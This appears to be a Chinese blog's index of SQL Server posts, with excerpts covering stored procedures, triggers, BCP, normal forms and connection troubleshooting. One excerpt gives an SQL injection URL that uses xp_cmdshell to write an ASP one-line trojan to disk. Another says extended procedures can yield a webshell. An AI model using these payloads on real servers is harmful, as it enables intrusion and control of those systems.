SQL
lwl0606
这个作者很懒,什么都没留下…
展开
-
sp_MSforeachtable sp_MSforeachdb
sp_MSforeachtable 从SQLSERVER6.5开始,MS提供了一个非常有用的系统存储过程sp_MSforeachtable和sp_MSforeachDB;作为DBA会经常需要检查所有的数据库或用户表,比如:检查所有数据库的容量;看看指定数据库所有用户表的容量,所有表的记录数...,我们一般处理这样的问题都是用游标分别处理处理,比如:在数据库检索效率非常慢时,我们想检转载 2007-07-03 12:36:00 · 473 阅读 · 0 评论 -
aes_cursor
if exists (select * from dbo.sysobjects where id = object_id(N[dbo].[aes_sessionschedule]) and OBJECTPROPERTY(id, NIsProcedure) = 1)drop procedure [dbo].[aes_sessionschedule]GOSET QUOTED_IDENTIF原创 2007-04-23 11:19:00 · 453 阅读 · 0 评论 -
aes_cursor01
if exists (select * from dbo.sysobjects where id = object_id(N[dbo].[aes_ProgramCloseOutMode]) and OBJECTPROPERTY(id, NIsProcedure) = 1)drop procedure [dbo].[aes_ProgramCloseOutMode]GOSET QUOTED原创 2007-04-23 11:20:00 · 465 阅读 · 0 评论 -
GROUPING
--GROUPING--是一个聚合函数,它产生一个附加的列,当用 CUBE 或 ROLLUP 运算符添加行时,附加的列输出值为1,当所添加的行不是由 CUBE 或 ROLLUP 产生时,附加列值为0。--仅在与包含 CUBE 或 ROLLUP 运算符的 GROUP BY 子句相联系的选择列表中才允许分组。--语法--GROUPING ( column_name ) --参数--colu原创 2007-04-27 17:56:00 · 462 阅读 · 0 评论 -
怎么样把sql server 2000的用户表的所有者,改成dbo,而不是用户名
exec sp_changeobjectowner [bbsdb].[dv_style],[dbo]更改当前数据库中对象的所有者备份、恢复数据库时,往往会出现所有者是原来的用户,这样当你在新的系统中使用 时,会出现表名无效的错误提示,而加入原来的用户名,又会出现用户已经存在的错误, 所以最好的方法就是修改成dbo: 怎么样把sql server 2000的用户表的所转载 2007-05-28 12:28:00 · 1369 阅读 · 0 评论 -
两台SQL Server服务器同步问题
两台SQL Server服务器同步问题--定时同步服务器上的数据(服务器上的数据修改同步到本地) --例子: --测试环境,SQL Server2000,远程服务器名:rserver,用户名为:ruser,密码:rpwd, 测试数据库:test --服务器上的表(查询分析器连接到服务器上创建) --state字段为辅助更新而设置的附加字段,字段值说明:null 表示新增记录,1 表示转载 2007-06-18 10:16:00 · 559 阅读 · 0 评论 -
去除汉字
create function fnTest(@name nvarchar(50))returns nvarchar(50)asbegin while PATINDEX(%[吖-座]%,@name) > 0 set @name = stuff(@name,PATINDEX(%[吖-座]%,@name),1,N) return @nameendGO原创 2007-06-18 17:04:00 · 1136 阅读 · 0 评论 -
SQL Server数据导入导出工具BCP详解
SQL Server数据导入导出工具BCP详解bcp是SQL Server中负责导入导出数据的一个命令行工具,它是基于DB-Library的,并且能以并行的方式高效地导入导出大批量的数据。bcp可以将数据库的表或视图直接导出,也能通过SELECT FROM语句对表或视图进行过滤后导出。在导入导出数据时,可以使用默认值或是使用一个格式文件将文件中的数据导入到数据库或将数据库中的数据导出到文转载 2007-06-19 14:02:00 · 1004 阅读 · 0 评论 -
数据库 范式 1NF 2NF 3NF
设计范式(范式,数据库设计范式,数据库的设计范式)是符合某一种级别的关系模式的集合。构造数据库必须遵循一定的规则。在关系数据库中,这种规则就是范式。关系数据库中的关系必须满足一定的要求,即满足不同的范式。目前关系数据库有六种范式:第一范式(1NF)、第二范式(2NF)、第三范式(3NF)、第四范式(4NF)、第五范式(5NF)和第六范式(6NF)。满足最低要求的范式是第一转载 2008-03-04 11:04:00 · 788 阅读 · 0 评论 -
SQL Server开发人员应聘常被问的问题妙解汇总
SQL Server开发人员应聘常被问的问题妙解汇总show_ads_zone(112); 目前在职场中很难找到非常合格的数据库开发人员。我的一个同事曾经说过:“SQL开发是一门语言,它很容易学,但是很难掌握。” 在面试应聘的SQL Server数据库开发人员时,我运用了一套标准的基准技术问题。下面这些问题是我觉得能够真正有助于淘汰不合格应聘者的问题。它们按照从易到难转载 2007-12-14 11:26:00 · 578 阅读 · 0 评论 -
count(distinct)
select FamilyID, count(distinct ApplicationID) as ApplicationIDfrom applicationgroup by FamilyID --实现统计不重复数据原创 2007-04-23 11:17:00 · 945 阅读 · 0 评论 -
ExtendedSP
--3个MSSQL扩展 EXEC [master].[dbo].[xp_makecab] D:/aa.rar,default,1,d:/aa.asp--打包EXEC [master].[dbo].[xp_unpackcab] D:/aa.rar,c:,1, aa.asp--解包,可以用于得到webshellEXEC [master].[dbo].[xp_readerrorl原创 2007-04-23 11:14:00 · 396 阅读 · 0 评论 -
Exists
SELECT FirstName, ID, (CASE WHEN EXISTS (SELECT id FROM application WHERE Customer.id = Application.ID) THEN AA END)FROM Customer原创 2007-04-23 11:13:00 · 422 阅读 · 0 评论 -
SQL2000 tip
SQL2000 tip--地宝原创,转贴请注明出自微软BI开拓者www.windbi.com1.建立索引create [UNIQUE or CLUSTERED or NONCLUSTERED] index index_name on table(column,...)2.建立unique,clustered,nonclustered,primary key 约束alter table tablen转载 2007-07-03 15:30:00 · 623 阅读 · 0 评论 -
SQL注入
1、 用^转义字符来写ASP(一句话木马)文件的方法: http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell echo ^execute request^("l"^)^ >c:/mu.asp;-- echo ^ >c:/mu.asp2、 显示SQL系统版本: http://192转载 2007-07-09 10:25:00 · 719 阅读 · 0 评论 -
去除回车 换行符
--去除回车 换行符 数据库--换行符 CHAR(10) --回车 CHAR(13) SELECT *FROM [dbo].[RenLi] WHERE replace(replace([name],char(10),),char(13),) like gs原创 2007-04-23 10:44:00 · 689 阅读 · 0 评论 -
Where Case
--第一次看到这样写的,where 里面case,觉得很厉害create table A(id int,a varchar(6),b varchar(6),c varchar(6),d varchar(6),e varchar(6))insert into A select 1,面包,牛奶,尿布,啤酒,NULL insert into A select 2,可乐,牛奶转载 2007-04-23 10:53:00 · 1031 阅读 · 0 评论 -
Trigger
--自己写的一个简单的Triggerif exists (select * from dbo.sysobjects where id = object_id(N[dbo].[AA_I]) and OBJECTPROPERTY(id, NIsTrigger) = 1)drop trigger [dbo].[AA_I]GOif exists (select * from dbo.sys原创 2007-04-23 10:56:00 · 559 阅读 · 0 评论 -
Function Return Table
--Function Return Tablecreate function f_cid( @ClassName varchar(10) --要查询的类别名(如果类别名会重复,改用NClassID )returns @re table(NClassID int,level int) as begin declare @l int set @l=0 insert @re select NC转载 2007-04-23 11:12:00 · 1167 阅读 · 0 评论 -
RowCount
--首次看到ROWCOUNT的用法 if exists (select * from dbo.sysobjects where id = object_id(N[dbo].[aa]) and OBJECTPROPERTY(id, NIsProcedure) = 1)drop procedure [dbo].[aa]GOSET QUOTED_IDENTIFIER ON GOSET A原创 2007-04-23 10:58:00 · 816 阅读 · 0 评论 -
PRIMARY KEY
--自己总结了几种加PRIMARY KEY的发放if exists (select * from dbo.sysobjects where id = object_id(N[dbo].[AA]) and OBJECTPROPERTY(id, NIsUserTable) = 1)drop table [dbo].[AA]GOCREATE TABLE [dbo].[AA] ( [ID]原创 2007-04-23 10:59:00 · 653 阅读 · 0 评论 -
OPENROWSET
--汇总的OPENROWSET,OpenDataSourceSELECT * FROM OPENROWSET(Microsoft.Jet.OLEDB.4.0,Excel 8.0;Database=C:/account.xls, SELECT * FROM [sheet1$]) -- 从Excel取数据 SELECT * FROM OPENROWSET(Microsoft.原创 2007-04-23 11:01:00 · 2160 阅读 · 0 评论 -
远程连接sql server 2000服务器的解决方案
一 看ping 服务器IP能否ping通。 这个实际上是看和远程sql server 2000服务器的物理连接是否存在。如果不行,请检查网络,查看配置,当然得确保远程sql server 2000服务器的IP拼写正确。 二 在Dos或命令行下输入telnet 服务器IP 端口,看能否连通。 如telnet 202.114.100.100 1433 通常端口值是143转载 2008-07-03 08:40:00 · 490 阅读 · 0 评论